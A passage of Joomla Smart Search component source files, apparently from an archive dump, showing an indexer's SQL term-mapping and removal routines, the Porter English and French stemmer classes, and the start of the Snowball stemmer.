				' LEFT JOIN ' . $db->quoteName('#__finder_terms') . ' AS t ON t.term = t1.term' .
				' WHERE t2.context = %d' .
				' GROUP BY t1.term, t.term_id, t1.term, t1.stem, t1.common, t1.phrase, t1.weight, t1.context, t1.language' .
				' ORDER BY t1.term DESC';

		// Iterate through the contexts and aggregate the tokens per context.
		foreach ($state->weights as $context => $multiplier)
		{
			// Run the query to aggregate the tokens for this context..
			$db->setQuery(sprintf($query, $multiplier, $context, $context));
			$db->execute();
		}

		// Mark afterAggregating in the profiler.
		static::$profiler ? static::$profiler->mark('afterAggregating') : null;

		/*
		 * When we pulled down all of the aggregate data, we did a LEFT JOIN
		 * over the terms table to try to find all the term ids that
		 * already exist for our tokens. If any of the rows in the aggregate
		 * table have a term of 0, then no term record exists for that
		 * term so we need to add it to the terms table.
		 */
		$db->setQuery(
			'INSERT INTO ' . $db->quoteName('#__finder_terms') .
			' (' . $db->quoteName('term') .
			', ' . $db->quoteName('stem') .
			', ' . $db->quoteName('common') .
			', ' . $db->quoteName('phrase') .
			', ' . $db->quoteName('weight') .
			', ' . $db->quoteName('soundex') . ')' .
			' SELECT ta.term, ta.stem, ta.common, ta.phrase, ta.term_weight, SOUNDEX(ta.term)' .
			' FROM ' . $db->quoteName('#__finder_tokens_aggregate') . ' AS ta' .
			' WHERE ta.term_id IS NULL' .
			' GROUP BY ta.term, ta.stem, ta.common, ta.phrase, ta.term_weight'
		);
		$db->execute();

		/*
		 * Now, we just inserted a bunch of new records into the terms table
		 * so we need to go back and update the aggregate table with all the
		 * new term ids.
		 */
		$query = $db->getQuery(true)
			->update('ta')
			->set('ta.term_id = t.term_id from #__finder_tokens_aggregate AS ta INNER JOIN #__finder_terms AS t ON t.term = ta.term')
			->where('ta.term_id IS NULL');
		$db->setQuery($query);
		$db->execute();

		// Mark afterTerms in the profiler.
		static::$profiler ? static::$profiler->mark('afterTerms') : null;

		/*
		 * After we've made sure that all of the terms are in the terms table
		 * and the aggregate table has the correct term ids, we need to update
		 * the links counter for each term by one.
		 */
		$query->clear()
			->update('t')
			->set('t.links = t.links + 1 FROM #__finder_terms AS t INNER JOIN #__finder_tokens_aggregate AS ta ON ta.term_id = t.term_id');
		$db->setQuery($query);
		$db->execute();

		// Mark afterTerms in the profiler.
		static::$profiler ? static::$profiler->mark('afterTerms') : null;

		/*
		 * Before we can insert all of the mapping rows, we have to figure out
		 * which mapping table the rows need to be inserted into. The mapping
		 * table for each term is based on the first character of the md5 of
		 * the first character of the term. In php, it would be expressed as
		 * substr(md5(substr($token, 0, 1)), 0, 1)
		 */
		$query->clear()
			->update($db->quoteName('#__finder_tokens_aggregate'))
			->set($db->quoteName('map_suffix') . " = SUBSTRING(HASHBYTES('MD5', SUBSTRING(" . $db->quoteName('term') . ', 1, 1)), 1, 1)');
		$db->setQuery($query);
		$db->execute();

		/*
		 * At this point, the aggregate table contains a record for each
		 * term in each context. So, we're going to pull down all of that
		 * data while grouping the records by term and add all of the
		 * sub-totals together to arrive at the final total for each token for
		 * this link. Then, we insert all of that data into the appropriate
		 * mapping table.
		 */
		for ($i = 0; $i <= 15; $i++)
		{
			// Get the mapping table suffix.
			$suffix = dechex($i);

			/*
			 * We have to run this query 16 times, one for each link => term
			 * mapping table.
			 */
			$db->setQuery(
				'INSERT INTO ' . $db->quoteName('#__finder_links_terms' . $suffix) .
				' (' . $db->quoteName('link_id') .
				', ' . $db->quoteName('term_id') .
				', ' . $db->quoteName('weight') . ')' .
				' SELECT ' . (int) $linkId . ', ' . $db->quoteName('term_id') . ',' .
				' ROUND(SUM(' . $db->quoteName('context_weight') . '), 8)' .
				' FROM ' . $db->quoteName('#__finder_tokens_aggregate') .
				' WHERE ' . $db->quoteName('map_suffix') . ' = ' . $db->quote($suffix) .
				' GROUP BY term, term_id' .
				' ORDER BY ' . $db->quoteName('term') . ' DESC'
			);
			$db->execute();
		}

		// Mark afterMapping in the profiler.
		static::$profiler ? static::$profiler->mark('afterMapping') : null;

		// Update the signature.
		$query->clear()
			->update($db->quoteName('#__finder_links'))
			->set($db->quoteName('md5sum') . ' = ' . $db->quote($curSig))
			->where($db->quoteName('link_id') . ' = ' . $db->quote($linkId));
		$db->setQuery($query);
		$db->execute();

		// Mark afterSigning in the profiler.
		static::$profiler ? static::$profiler->mark('afterSigning') : null;

		// Truncate the tokens tables.
		$db->truncateTable('#__finder_tokens');

		// Truncate the tokens aggregate table.
		$db->truncateTable('#__finder_tokens_aggregate');

		// Toggle the token tables back to memory tables.
		$this->toggleTables(true);

		// Mark afterTruncating in the profiler.
		static::$profiler ? static::$profiler->mark('afterTruncating') : null;

		return $linkId;
	}

	/**
	 * Method to remove a link from the index.
	 *
	 * @param   integer  $linkId  The id of the link.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.1
	 * @throws  Exception on database error.
	 */
	public function remove($linkId)
	{
		$db = $this->db;
		$query = $db->getQuery(true);

		// Update the link counts and remove the mapping records.
		for ($i = 0; $i <= 15; $i++)
		{
			// Update the link counts for the terms.
			$query->update('t')
				->set('t.links = t.links - 1 from #__finder_terms AS t INNER JOIN #__finder_links_terms' . dechex($i) . ' AS m ON m.term_id = t.term_id')
				->where('m.link_id = ' . $db->quote((int) $linkId));
			$db->setQuery($query);
			$db->execute();

			// Remove all records from the mapping tables.
			$query->clear()
				->delete($db->quoteName('#__finder_links_terms' . dechex($i)))
				->where($db->quoteName('link_id') . ' = ' . (int) $linkId);
			$db->setQuery($query);
			$db->execute();
		}

		// Delete all orphaned terms.
		$query->clear()
			->delete($db->quoteName('#__finder_terms'))
			->where($db->quoteName('links') . ' <= 0');
		$db->setQuery($query);
		$db->execute();

		// Delete the link from the index.
		$query->clear()
			->delete($db->quoteName('#__finder_links'))
			->where($db->quoteName('link_id') . ' = ' . $db->quote((int) $linkId));
		$db->setQuery($query);
		$db->execute();

		// Remove the taxonomy maps.
		FinderIndexerTaxonomy::removeMaps($linkId);

		// Remove the orphaned taxonomy nodes.
		FinderIndexerTaxonomy::removeOrphanNodes();

		return true;
	}

	/**
	 * Method to optimize the index. We use this method to remove unused terms
	 * and any other optimizations that might be necessary.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   3.1
	 * @throws  Exception on database error.
	 */
	public function optimize()
	{
		// Get the database object.
		$db = $this->db;
		$query = $db->getQuery(true);

		// Delete all orphaned terms.
		$query->delete($db->quoteName('#__finder_terms'))
			->where($db->quoteName('links') . ' <= 0');
		$db->setQuery($query);
		$db->execute();

		// Remove the orphaned taxonomy nodes.
		FinderIndexerTaxonomy::removeOrphanNodes();

		return true;
	}
}
com_finder/helpers/indexer/stemmer/porter_en.php000060400000023413152455305310016135 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('FinderIndexerStemmer', dirname(__DIR__) . '/stemmer.php');

/**
 * Porter English stemmer class for the Finder indexer package.
 *
 * This class was adapted from one written by Richard Heyes.
 * See copyright and link information above.
 *
 * @since  2.5
 */
class FinderIndexerStemmerPorter_En extends FinderIndexerStemmer
{
	/**
	 * Regex for matching a consonant.
	 *
	 * @var    string
	 * @since  2.5
	 */
	private static $regex_consonant = '(?:[bcdfghjklmnpqrstvwxz]|(?<=[aeiou])y|^y)';

	/**
	 * Regex for matching a vowel
	 *
	 * @var    string
	 * @since  2.5
	 */
	private static $regex_vowel = '(?:[aeiou]|(?<![aeiou])y)';

	/**
	 * Method to stem a token and return the root.
	 *
	 * @param   string  $token  The token to stem.
	 * @param   string  $lang   The language of the token.
	 *
	 * @return  string  The root token.
	 *
	 * @since   2.5
	 */
	public function stem($token, $lang)
	{
		// Check if the token is long enough to merit stemming.
		if (strlen($token) <= 2)
		{
			return $token;
		}

		// Check if the language is English or All.
		if ($lang !== 'en' && $lang !== '*')
		{
			return $token;
		}

		// Stem the token if it is not in the cache.
		if (!isset($this->cache[$lang][$token]))
		{
			// Stem the token.
			$result = $token;
			$result = self::step1ab($result);
			$result = self::step1c($result);
			$result = self::step2($result);
			$result = self::step3($result);
			$result = self::step4($result);
			$result = self::step5($result);

			// Add the token to the cache.
			$this->cache[$lang][$token] = $result;
		}

		return $this->cache[$lang][$token];
	}

	/**
	 * Step 1
	 *
	 * @param   string  $word  The token to stem.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	private static function step1ab($word)
	{
		// Part a
		if (substr($word, -1) === 's')
		{
			self::replace($word, 'sses', 'ss')
			|| self::replace($word, 'ies', 'i')
			|| self::replace($word, 'ss', 'ss')
			|| self::replace($word, 's', '');
		}

		// Part b
		if (substr($word, -2, 1) !== 'e' || !self::replace($word, 'eed', 'ee', 0))
		{
			// First rule
			$v = self::$regex_vowel;

			// Words ending with ing and ed
			// Note use of && and OR, for precedence reasons
			if (preg_match("#$v+#", substr($word, 0, -3)) && self::replace($word, 'ing', '')
				|| preg_match("#$v+#", substr($word, 0, -2)) && self::replace($word, 'ed', ''))
			{
				// If one of above two test successful
				if (!self::replace($word, 'at', 'ate') && !self::replace($word, 'bl', 'ble') && !self::replace($word, 'iz', 'ize'))
				{
					// Double consonant ending
					$wordSubStr = substr($word, -2);

					if ($wordSubStr !== 'll' && $wordSubStr !== 'ss' && $wordSubStr !== 'zz' && self::doubleConsonant($word))
					{
						$word = substr($word, 0, -1);
					}
					elseif (self::m($word) === 1 && self::cvc($word))
					{
						$word .= 'e';
					}
				}
			}
		}

		return $word;
	}

	/**
	 * Step 1c
	 *
	 * @param   string  $word  The token to stem.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	private static function step1c($word)
	{
		$v = self::$regex_vowel;

		if (substr($word, -1) === 'y' && preg_match("#$v+#", substr($word, 0, -1)))
		{
			self::replace($word, 'y', 'i');
		}

		return $word;
	}

	/**
	 * Step 2
	 *
	 * @param   string  $word  The token to stem.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	private static function step2($word)
	{
		switch (substr($word, -2, 1))
		{
			case 'a':
				self::replace($word, 'ational', 'ate', 0)
				|| self::replace($word, 'tional', 'tion', 0);
				break;
			case 'c':
				self::replace($word, 'enci', 'ence', 0)
				|| self::replace($word, 'anci', 'ance', 0);
				break;
			case 'e':
				self::replace($word, 'izer', 'ize', 0);
				break;
			case 'g':
				self::replace($word, 'logi', 'log', 0);
				break;
			case 'l':
				self::replace($word, 'entli', 'ent', 0)
				|| self::replace($word, 'ousli', 'ous', 0)
				|| self::replace($word, 'alli', 'al', 0)
				|| self::replace($word, 'bli', 'ble', 0)
				|| self::replace($word, 'eli', 'e', 0);
				break;
			case 'o':
				self::replace($word, 'ization', 'ize', 0)
				|| self::replace($word, 'ation', 'ate', 0)
				|| self::replace($word, 'ator', 'ate', 0);
				break;
			case 's':
				self::replace($word, 'iveness', 'ive', 0)
				|| self::replace($word, 'fulness', 'ful', 0)
				|| self::replace($word, 'ousness', 'ous', 0)
				|| self::replace($word, 'alism', 'al', 0);
				break;
			case 't':
				self::replace($word, 'biliti', 'ble', 0)
				|| self::replace($word, 'aliti', 'al', 0)
				|| self::replace($word, 'iviti', 'ive', 0);
				break;
		}

		return $word;
	}

	/**
	 * Step 3
	 *
	 * @param   string  $word  The token to stem.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	private static function step3($word)
	{
		switch (substr($word, -2, 1))
		{
			case 'a':
				self::replace($word, 'ical', 'ic', 0);
				break;
			case 's':
				self::replace($word, 'ness', '', 0);
				break;
			case 't':
				self::replace($word, 'icate', 'ic', 0)
				|| self::replace($word, 'iciti', 'ic', 0);
				break;
			case 'u':
				self::replace($word, 'ful', '', 0);
				break;
			case 'v':
				self::replace($word, 'ative', '', 0);
				break;
			case 'z':
				self::replace($word, 'alize', 'al', 0);
				break;
		}

		return $word;
	}

	/**
	 * Step 4
	 *
	 * @param   string  $word  The token to stem.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	private static function step4($word)
	{
		switch (substr($word, -2, 1))
		{
			case 'a':
				self::replace($word, 'al', '', 1);
				break;
			case 'c':
				self::replace($word, 'ance', '', 1)
				|| self::replace($word, 'ence', '', 1);
				break;
			case 'e':
				self::replace($word, 'er', '', 1);
				break;
			case 'i':
				self::replace($word, 'ic', '', 1);
				break;
			case 'l':
				self::replace($word, 'able', '', 1)
				|| self::replace($word, 'ible', '', 1);
				break;
			case 'n':
				self::replace($word, 'ant', '', 1)
				|| self::replace($word, 'ement', '', 1)
				|| self::replace($word, 'ment', '', 1)
				|| self::replace($word, 'ent', '', 1);
				break;
			case 'o':
				$wordSubStr = substr($word, -4);

				if ($wordSubStr === 'tion' || $wordSubStr === 'sion')
				{
					self::replace($word, 'ion', '', 1);
				}
				else
				{
					self::replace($word, 'ou', '', 1);
				}
				break;
			case 's':
				self::replace($word, 'ism', '', 1);
				break;
			case 't':
				self::replace($word, 'ate', '', 1)
				|| self::replace($word, 'iti', '', 1);
				break;
			case 'u':
				self::replace($word, 'ous', '', 1);
				break;
			case 'v':
				self::replace($word, 'ive', '', 1);
				break;
			case 'z':
				self::replace($word, 'ize', '', 1);
				break;
		}

		return $word;
	}

	/**
	 * Step 5
	 *
	 * @param   string  $word  The token to stem.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	private static function step5($word)
	{
		// Part a
		if (substr($word, -1) === 'e')
		{
			if (self::m(substr($word, 0, -1)) > 1)
			{
				self::replace($word, 'e', '');
			}
			elseif (self::m(substr($word, 0, -1)) === 1)
			{
				if (!self::cvc(substr($word, 0, -1)))
				{
					self::replace($word, 'e', '');
				}
			}
		}

		// Part b
		if (self::m($word) > 1 && self::doubleConsonant($word) && substr($word, -1) === 'l')
		{
			$word = substr($word, 0, -1);
		}

		return $word;
	}

	/**
	 * Replaces the first string with the second, at the end of the string. If third
	 * arg is given, then the preceding string must match that m count at least.
	 *
	 * @param   string   $str    String to check
	 * @param   string   $check  Ending to check for
	 * @param   string   $repl   Replacement string
	 * @param   integer  $m      Optional minimum number of m() to meet
	 *
	 * @return  boolean  Whether the $check string was at the end
	 *                   of the $str string. True does not necessarily mean
	 *                   that it was replaced.
	 *
	 * @since   2.5
	 */
	private static function replace(&$str, $check, $repl, $m = null)
	{
		$len = 0 - strlen($check);

		if (substr($str, $len) === $check)
		{
			$substr = substr($str, 0, $len);

			if ($m === null || self::m($substr) > $m)
			{
				$str = $substr . $repl;
			}

			return true;
		}

		return false;
	}

	/**
	 * m() measures the number of consonant sequences in $str. if c is
	 * a consonant sequence and v a vowel sequence, and <..> indicates arbitrary
	 * presence,
	 *
	 * <c><v>       gives 0
	 * <c>vc<v>     gives 1
	 * <c>vcvc<v>   gives 2
	 * <c>vcvcvc<v> gives 3
	 *
	 * @param   string  $str  The string to return the m count for
	 *
	 * @return  integer  The m count
	 *
	 * @since   2.5
	 */
	private static function m($str)
	{
		$c = self::$regex_consonant;
		$v = self::$regex_vowel;

		$str = preg_replace("#^$c+#", '', $str);
		$str = preg_replace("#$v+$#", '', $str);

		preg_match_all("#($v+$c+)#", $str, $matches);

		return count($matches[1]);
	}

	/**
	 * Returns true/false as to whether the given string contains two
	 * of the same consonant next to each other at the end of the string.
	 *
	 * @param   string  $str  String to check
	 *
	 * @return  boolean  Result
	 *
	 * @since   2.5
	 */
	private static function doubleConsonant($str)
	{
		$c = self::$regex_consonant;

		return preg_match("#$c{2}$#", $str, $matches) && $matches[0][0] === $matches[0][1];
	}

	/**
	 * Checks for ending CVC sequence where second C is not W, X or Y
	 *
	 * @param   string  $str  String to check
	 *
	 * @return  boolean  Result
	 *
	 * @since   2.5
	 */
	private static function cvc($str)
	{
		$c = self::$regex_consonant;
		$v = self::$regex_vowel;

		return preg_match("#($c$v$c)$#", $str, $matches) && strlen($matches[1]) === 3 && $matches[1][2] !== 'w' && $matches[1][2] !== 'x'
			&& $matches[1][2] !== 'y';
	}
}
com_finder/helpers/indexer/stemmer/fr.php000060400000024133152455305310014547 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2012 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('FinderIndexerStemmer', dirname(__DIR__) . '/stemmer.php');

/**
 * French stemmer class for Smart Search indexer.
 *
 * First contributed by Eric Sanou (bobotche@hotmail.fr)
 * This class is inspired in  Alexis Ulrich's French stemmer code (http://alx2002.free.fr)
 *
 * @since  3.0
 */
class FinderIndexerStemmerFr extends FinderIndexerStemmer
{
	/**
	 * Stemming rules.
	 *
	 * @var    array
	 * @since  3.0
	 */
	private static $stemRules;

	/**
	 * Method to stem a token and return the root.
	 *
	 * @param   string  $token  The token to stem.
	 * @param   string  $lang   The language of the token.
	 *
	 * @return  string  The root token.
	 *
	 * @since   3.0
	 */
	public function stem($token, $lang)
	{
		// Check if the token is long enough to merit stemming.
		if (strlen($token) <= 2)
		{
			return $token;
		}

		// Check if the language is French or All.
		if ($lang !== 'fr' && $lang !== '*')
		{
			return $token;
		}

		// Stem the token if it is not in the cache.
		if (!isset($this->cache[$lang][$token]))
		{
			// Stem the token.
			$result = self::getStem($token);

			// Add the token to the cache.
			$this->cache[$lang][$token] = $result;
		}

		return $this->cache[$lang][$token];
	}

	/**
	 * French stemmer rules variables.
	 *
	 * @return  array  The rules
	 *
	 * @since   3.0
	 */
	protected static function getStemRules()
	{
		if (self::$stemRules)
		{
			return self::$stemRules;
		}

		$vars = array();

		// French accented letters in ISO-8859-1 encoding
		$vars['accents'] = chr(224) . chr(226) . chr(232) . chr(233) . chr(234) . chr(235) . chr(238) . chr(239)
			. chr(244) . chr(251) . chr(249) . chr(231);

		// The rule patterns include all accented words for french language
		$vars['rule_pattern'] = '/^([a-z' . $vars['accents'] . ']*)(\*){0,1}(\d)([a-z' . $vars['accents'] . ']*)([.|>])/';

		// French vowels (including y) in ISO-8859-1 encoding
		$vars['vowels'] = chr(97) . chr(224) . chr(226) . chr(101) . chr(232) . chr(233) . chr(234) . chr(235)
			. chr(105) . chr(238) . chr(239) . chr(111) . chr(244) . chr(117) . chr(251) . chr(249) . chr(121);

		// The French rules in ISO-8859-1 encoding
		$vars['rules'] = array(
			'esre1>', 'esio1>', 'siol1.', 'siof0.', 'sioe0.', 'sio3>', 'st1>', 'sf1>', 'sle1>', 'slo1>', 's' . chr(233) . '1>', chr(233) . 'tuae5.',
			chr(233) . 'tuae2.', 'tnia0.', 'tniv1.', 'tni3>', 'suor1.', 'suo0.', 'sdrail5.', 'sdrai4.', 'er' . chr(232) . 'i1>', 'sesue3x>',
			'esuey5i.', 'esue2x>', 'se1>', 'er' . chr(232) . 'g3.', 'eca1>', 'esiah0.', 'esi1>', 'siss2.', 'sir2>', 'sit2>', 'egan' . chr(233) . '1.',
			'egalli6>', 'egass1.', 'egas0.', 'egat3.', 'ega3>', 'ette4>', 'ett2>', 'etio1.', 'tio' . chr(231) . '4c.', 'tio0.', 'et1>', 'eb1>',
			'snia1>', 'eniatnau8>', 'eniatn4.', 'enia1>', 'niatnio3.', 'niatg3.', 'e' . chr(233) . '1>', chr(233) . 'hcat1.', chr(233) . 'hca4.',
			chr(233) . 'tila5>', chr(233) . 'tici5.', chr(233) . 'tir1.', chr(233) . 'ti3>', chr(233) . 'gan1.', chr(233) . 'ga3>',
			chr(233) . 'tehc1.', chr(233) . 'te3>', chr(233) . 'it0.', chr(233) . '1>', 'eire4.', 'eirue5.', 'eio1.', 'eia1.', 'ei1>', 'eng1.',
			'xuaessi7.', 'xuae1>', 'uaes0.', 'uae3.', 'xuave2l.', 'xuav2li>', 'xua3la>', 'ela1>', 'lart2.', 'lani2>', 'la' . chr(233) . '2>',
			'siay4i.', 'siassia7.', 'siarv1*.', 'sia1>', 'tneiayo6i.', 'tneiay6i.', 'tneiassia9.', 'tneiareio7.', 'tneia5>', 'tneia4>', 'tiario4.',
			'tiarim3.', 'tiaria3.', 'tiaris3.', 'tiari5.', 'tiarve6>', 'tiare5>', 'iare4>', 'are3>', 'tiay4i.', 'tia3>', 'tnay4i.',
			'em' . chr(232) . 'iu5>', 'em' . chr(232) . 'i4>', 'tnaun3.', 'tnauqo3.', 'tnau4>', 'tnaf0.', 'tnat' . chr(233) . '2>', 'tna3>', 'tno3>',
			'zeiy4i.', 'zey3i.', 'zeire5>', 'zeird4.', 'zeirio4.', 'ze2>', 'ssiab0.', 'ssia4.', 'ssi3.', 'tnemma6>', 'tnemesuey9i.', 'tnemesue8>',
			'tnemevi7.', 'tnemessia5.', 'tnemessi8.', 'tneme5>', 'tnemia4.', 'tnem' . chr(233) . '5>', 'el2l>', 'lle3le>', 'let' . chr(244) . '0.',
			'lepp0.', 'le2>', 'srei1>', 'reit3.', 'reila2.', 'rei3>', 'ert' . chr(226) . 'e5.', 'ert' . chr(226) . chr(233) . '1.',
			'ert' . chr(226) . '4.', 'drai4.', 'erdro0.', 'erute5.', 'ruta0.', 'eruta1.', 'erutiov1.', 'erub3.', 'eruh3.', 'erul3.', 'er2r>', 'nn1>',
			'r' . chr(232) . 'i3.', 'srev0.', 'sr1>', 'rid2>', 're2>', 'xuei4.', 'esuei5.', 'lbati3.', 'lba3>', 'rueis0.', 'ruehcn4.', 'ecirta6.',
			'ruetai6.', 'rueta5.', 'rueir0.', 'rue3>', 'esseti6.', 'essere6>', 'esserd1.', 'esse4>', 'essiab1.', 'essia5.', 'essio1.', 'essi4.',
			'essal4.', 'essa1>', 'ssab1.', 'essurp1.', 'essu4.', 'essi1.', 'ssor1.', 'essor2.', 'esso1>', 'ess2>', 'tio3.', 'r' . chr(232) . 's2re.',
			'r' . chr(232) . '0e.', 'esn1.', 'eu1>', 'sua0.', 'su1>', 'utt1>', 'tu' . chr(231) . '3c.', 'u' . chr(231) . '2c.', 'ur1.', 'ehcn2>',
			'ehcu1>', 'snorr3.', 'snoru3.', 'snorua3.', 'snorv3.', 'snorio4.', 'snori5.', 'snore5>', 'snortt4>', 'snort' . chr(238) . 'a7.', 'snort3.',
			'snor4.', 'snossi6.', 'snoire6.', 'snoird5.', 'snoitai7.', 'snoita6.', 'snoits1>', 'noits0.', 'snoi4>', 'noitaci7>', 'noitai6.', 'noita5.',
			'noitu4.', 'noi3>', 'snoya0.', 'snoy4i.', 'sno' . chr(231) . 'a1.', 'sno' . chr(231) . 'r1.', 'snoe4.', 'snosiar1>', 'snola1.', 'sno3>',
			'sno1>', 'noll2.', 'tnennei4.', 'ennei2>', 'snei1>', 'sne' . chr(233) . '1>', 'enne' . chr(233) . '5e.', 'ne' . chr(233) . '3e.', 'neic0.',
			'neiv0.', 'nei3.', 'sc1.', 'sd1.', 'sg1.', 'sni1.', 'tiu0.', 'ti2.', 'sp1>', 'sna1>', 'sue1.', 'enn2>', 'nong2.', 'noss2.', 'rioe4.',
			'riot0.', 'riorc1.', 'riovec5.', 'rio3.', 'ric2.', 'ril2.', 'tnerim3.', 'tneris3>', 'tneri5.', 't' . chr(238) . 'a3.', 'riss2.',
			't' . chr(238) . '2.', 't' . chr(226) . '2>', 'ario2.', 'arim1.', 'ara1.', 'aris1.', 'ari3.', 'art1>', 'ardn2.', 'arr1.', 'arua1.',
			'aro1.', 'arv1.', 'aru1.', 'ar2.', 'rd1.', 'ud1.', 'ul1.', 'ini1.', 'rin2.', 'tnessiab3.', 'tnessia7.', 'tnessi6.', 'tnessni4.', 'sini2.',
			'sl1.', 'iard3.', 'iario3.', 'ia2>', 'io0.', 'iule2.', 'i1>', 'sid2.', 'sic2.', 'esoi4.', 'ed1.', 'ai2>', 'a1>', 'adr1.',
			'tner' . chr(232) . '5>', 'evir1.', 'evio4>', 'evi3.', 'fita4.', 'fi2>', 'enie1.', 'sare4>', 'sari4>', 'sard3.', 'sart2>', 'sa2.',
			'tnessa6>', 'tnessu6>', 'tnegna3.', 'tnegi3.', 'tneg0.', 'tneru5>', 'tnemg0.', 'tnerni4.', 'tneiv1.', 'tne3>', 'une1.', 'en1>', 'nitn2.',
			'ecnay5i.', 'ecnal1.', 'ecna4.', 'ec1>', 'nn1.', 'rit2>', 'rut2>', 'rud2.', 'ugn1>', 'eg1>', 'tuo0.', 'tul2>', 't' . chr(251) . '2>',
			'ev1>', 'v' . chr(232) . '2ve>', 'rtt1>', 'emissi6.', 'em1.', 'ehc1.', 'c' . chr(233) . 'i2c' . chr(232) . '.', 'libi2l.', 'llie1.',
			'liei4i.', 'xuev1.', 'xuey4i.', 'xueni5>', 'xuell4.', 'xuere5.', 'xue3>', 'rb' . chr(233) . '3rb' . chr(232) . '.', 'tur2.',
			'rir' . chr(233) . '4re.', 'rir2.', 'c' . chr(226) . '2ca.', 'snu1.', 'rt' . chr(238) . 'a4.', 'long2.', 'vec2.', chr(231) . '1c>',
			'ssilp3.', 'silp2.', 't' . chr(232) . 'hc2te.', 'n' . chr(232) . 'm2ne.', 'llepp1.', 'tan2.', 'rv' . chr(232) . '3rve.',
			'rv' . chr(233) . '3rve.', 'r' . chr(232) . '2re.', 'r' . chr(233) . '2re.', 't' . chr(232) . '2te.', 't' . chr(233) . '2te.', 'epp1.',
			'eya2i.', 'ya1i.', 'yo1i.', 'esu1.', 'ugi1.', 'tt1.', 'end0.'
		);

		self::$stemRules = $vars;

		return self::$stemRules;
	}

	/**
	 * Returns the number of the first rule from the rule number
	 * that can be applied to the given reversed input.
	 * returns -1 if no rule can be applied, ie the stem has been found
	 *
	 * @param   string   $reversedInput  The input to check in reversed order
	 * @param   integer  $ruleNumber     The rule number to check
	 *
	 * @return  integer  Number of the first rule
	 *
	 * @since   3.0
	 */
	private static function getFirstRule($reversedInput, $ruleNumber)
	{
		$vars = static::getStemRules();

		$nb_rules = count($vars['rules']);

		for ($i = $ruleNumber; $i < $nb_rules; $i++)
		{
			// Gets the letters from the current rule
			$rule = $vars['rules'][$i];
			$rule = preg_replace($vars['rule_pattern'], "\\1", $rule);

			if (strncasecmp(utf8_decode($rule), $reversedInput, strlen(utf8_decode($rule))) == 0)
			{
				return $i;
			}
		}

		return -1;
	}

	/**
	 * Check the acceptability of a stem for French language
	 *
	 * @param   string  $reversedStem  The stem to check in reverse form
	 *
	 * @return  boolean  True if stem is acceptable
	 *
	 * @since   3.0
	 */
	private static function check($reversedStem)
	{
		$vars = static::getStemRules();

		if (preg_match('/[' . $vars['vowels'] . ']$/', utf8_encode($reversedStem)))
		{
			// If the form starts with a vowel then at least two letters must remain after stemming (e.g.: "etaient" --> "et")
			return (strlen($reversedStem) > 2);
		}
		else
		{
			// If the reversed stem starts with a consonant then at least two letters must remain after stemming
			if (strlen($reversedStem) <= 2)
			{
				return false;
			}

			// And at least one of these must be a vowel or "y"
			return preg_match('/[' . $vars['vowels'] . ']/', utf8_encode($reversedStem));
		}
	}

	/**
	 * Paice/Husk stemmer which returns a stem for the given $input
	 *
	 * @param   string  $input  The word for which we want the stem in UTF-8
	 *
	 * @return  string  The stem
	 *
	 * @since   3.0
	 */
	private static function getStem($input)
	{
		$vars = static::getStemRules();

		$reversed_input = strrev(utf8_decode($input));
		$rule_number = 0;

		// This loop goes through the rules' array until it finds an ending one (ending by '.') or the last one ('end0.')
		while (true)
		{
			$rule_number = self::getFirstRule($reversed_input, $rule_number);

			if ($rule_number === -1)
			{
				// No other rule can be applied => the stem has been found
				break;
			}

			$rule = $vars['rules'][$rule_number];
			preg_match($vars['rule_pattern'], $rule, $matches);

			$reversed_stem = utf8_decode($matches[4]) . substr($reversed_input, $matches[3]);

			if (self::check($reversed_stem))
			{
				$reversed_input = $reversed_stem;

				if ($matches[5] === '.')
				{
					break;
				}
			}
			else
			{
				// Go to another rule
				$rule_number++;
			}
		}

		return utf8_encode(strrev($reversed_input));
	}
}
com_finder/helpers/indexer/stemmer/snowball.php000060400000005320152455305310015756 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('FinderIndexerStemmer', dirname(__DIR__) . '/stemmer.php');

/**
 * Snowball stemmer class for the Finder indexer package.
 *
 * @since  2.5
 */
class FinderIndexerStemmerSnowball extends FinderIndexerStemmer
{
	/**
	 * Method to stem a token and return the root.
	 *
	 * @param   string  $token  The token to stem.
	 * @param   string  $lang   The language of the token.
	 *
	 * @return  string  The root token.
	 *
	 * @since   2.5
	 */
	public function stem($token, $lang)
	{
		// Language to use if All is specified.
		static $defaultLang = '';

		// If language is All then try to get site default language.
		if ($lang === '*' && $defaultLang === '')
		{
			$languages = JLanguageHelper::getLanguages();
			$defaultLang = isset($languages[0]->sef) ? $languages[0]->sef : '*';
			$lang = $defaultLang;
		}

		// Stem the token if it is not in the cache.
		if (!isset($this->cache[$lang][$token]))
		{
			// Get the stem function from the language string.
			switch ($lang)
			{
				// Danish stemmer.
				case 'da':
					$function = 'stem_danish';
					break;

				// German stemmer.
				case 'de':
					$function = 'stem_german';
					break;

				// English stemmer.
				default:
				case 'en':
					$function = 'stem_english';
					break;

				// Spanish stemmer.
				case 'es':
					$function = 'stem_spanish';
					break;

				// Finnish stemmer.
				case 'fi':
					$function = 'stem_finnish';
					break;

				// French stemmer.
				case 'fr':
					$function = 'stem_french';
					break;

				// Hungarian stemmer.
				case 'hu':
					$function = 'stem_hungarian';
					break;

				// Italian stemmer.
				case 'it':
					$function = 'stem_italian';
					break;

				// Norwegian stemmer.
				case 'nb':
					$function = 'stem_norwegian';
					break;

				// Dutch stemmer.
				case 'nl':
					$function = 'stem_dutch';
					break;

				// Portuguese stemmer.
				case 'pt':
